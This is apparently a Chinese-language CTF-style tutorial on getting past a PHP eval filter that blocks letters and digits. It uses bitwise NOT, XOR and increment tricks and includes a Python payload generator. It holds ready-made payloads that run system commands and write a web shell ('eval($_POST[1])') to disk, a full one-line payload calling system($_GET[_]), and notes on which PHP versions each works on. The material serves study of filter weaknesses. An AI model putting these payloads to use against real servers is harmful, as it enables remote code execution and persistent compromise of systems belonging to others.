取反(~)

测试代码如下

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
die("hacker!");
}
eval($code);
?>

大概意思就是利用第一次取反绕过字母和数字,第二次取反,得到原来的数据;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

#phpinfo();
#(~%8F%97%8F%96%91%99%90)();
echo urlencode(~"phpinfo")."\n";

#system("whoami");
#(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
echo urlencode(~"system")."\n";
echo urlencode(~"whoami")."\n";

#file_put_contents("shell.php","<?php eval($_POST[1]);")
#(~%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C)((~%8C%97%9A%93%93%D1%8F%97%8F),(~%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4%C0%C1));
echo urlencode(~"file_put_contents")."\n";
echo urlencode(~"shell.php")."\n";
echo urlencode(~"<?php eval(\$_POST[1]);?>")."\n";

注意:经过测试只有在7.*版本才可以这么用,5或8版本都不行,并且只有当请求方式为GET是才有用,$_POST没用

当我将上面的的请求方式从GET更改为POST,会发现POST的数据再第二次取反之后会在每一个字符之间加一个=符号;

异或(^)

测试代码依旧是

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
die("hacker!");
}
eval($code);
?>

异或可以借助python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib.parse

def url_encode(url):
return urllib.parse.quote(url)

valid = "!@$%#^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("Please input: "))

tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1:",tmp1)
print("tmp2:",tmp2)
print('"'+url_encode(tmp1)+'"^"'+url_encode(tmp2)+'"')

payload

1
2
3
4
5
6
7
8
9
phpinfo()
#("%5E%40%5E%40%40%5B%40"^".%28.%29.%3D/")();

system("ls");
#("%5E%24%5E%5E%40%40"^"-%5D-%2A%25-")("%40%5E"^"%2C-");

file_put_contents("a.php","<?php eval($_POST[a]);")
#("%5B%40%40%40%21%5E%2A%5E%21%40%40%40%5E%40%40%5E%5E"^"%3D%29%2C%25~._%2A~%23/.%2A%25.%2A-")((("%21"^"%40").".".("%5E%40%5E"^".%28.")),("<".("_%5E%40%5E%40%40%5E%21%40"^"%60.%28.%60%25%28%40%2C")."(".("%7B%21%7D/%28%2A%25%21%23"^"_~-%60%7B~~%40~").')'.("%40"^"%7B")));

如果可以异或的字符很少,可能有一些字符异或不出来(一般都是一些特殊字符);遇到这种情况如果waf没有过滤那个异或不出来的字符,可以直接用.点号拼接;当然,是在点好号没有被过滤的提前下;

注意:经过测试异或在5的版本不行,可以在7.*或者8.*的版本,并且POST和GET请求方式都可以;

自增(=,+)

测试代码依旧是

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
die("hacker!");
}
eval($code);
?>

当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符

1
2
3
4
5
6
7
8
9
<?php
$_=[];
var_dump($_);
print("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")."\n";
$_=[].'';
var_dump($_);
print("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")."\n";
$_=[].'';
echo $_[0];

构造出$_GET[_]($_GET[__])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$_=[];
$_="$_"; //Array
$_=$_['!'=='@']; //[0] 就是取字符A
$_++;
$_++;
$_++;
$_++;
$__=$_++; //E
$_++;
$___=$_++; //G
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$____=$_++; //T
print($__)."\n";
print($___)."\n";
print($____)."\n";
$_='_'.$___.$__.$____;
print($_)."\n";
//$$_[_]($$_[__]); //$_GET[_]($_GET[__]);
?>

将上面的代码合成一行;如下:

1
$_=[];$_="$_";$_=$_['!'=='@'];$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$____=$_++;$_='_'.$___.$__.$____;$$_[_]($$_[__]);

但是$_GET[_]($_GET[__]);似乎只在7.*版本管用;

本来想构造eval来着的,好像不太行;构造system($_GET[_]);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$_=[];
$_="$_"; //Array
$_=$_['!'=='@']; //[0] 就是取字符A
$_; //A
$_++;
$_++;
$_++;
$_++;
$__=$_++; //E
$_++;
$___=$_++; //G
$_++;
$_++;
$_++;
$_++;
$_++; //L
$________=$_++;//m
$_++;
$_++;
$_++;
$_++;
$_++;
$_______=$_++;//s
$____=$_++; //T
print($__)."\n";
print($___)."\n";
print($____)."\n";
$_____='_'.$___.$__.$____;
print($_____)."\n"; // _GET
$_++;
$_++;
$_++;
$_++;
$______=$_++; //y
$_________=$_______.$______.$_______.$____.$__.$________;//system
print($_________);

1
code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_________($$_____[__]);

system($_GET[_])确实可以,但是只能在7.*;按照原理不应该受到版本限制才对,经过我漫长的测试;终于找到了原因

原来在5.*的版本$_________($$_____[__]);中的$$_____会报错,只需要改成$_=$$_____;$_________($_[__]);就可以了

1
code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_=$$_____;$_________($_[__]);

在我本地的5.6成功了,但是我本地5.3依然没成功

8.*的版本[]中的变量不可以用_

注意:自增比上面两种方法更麻烦;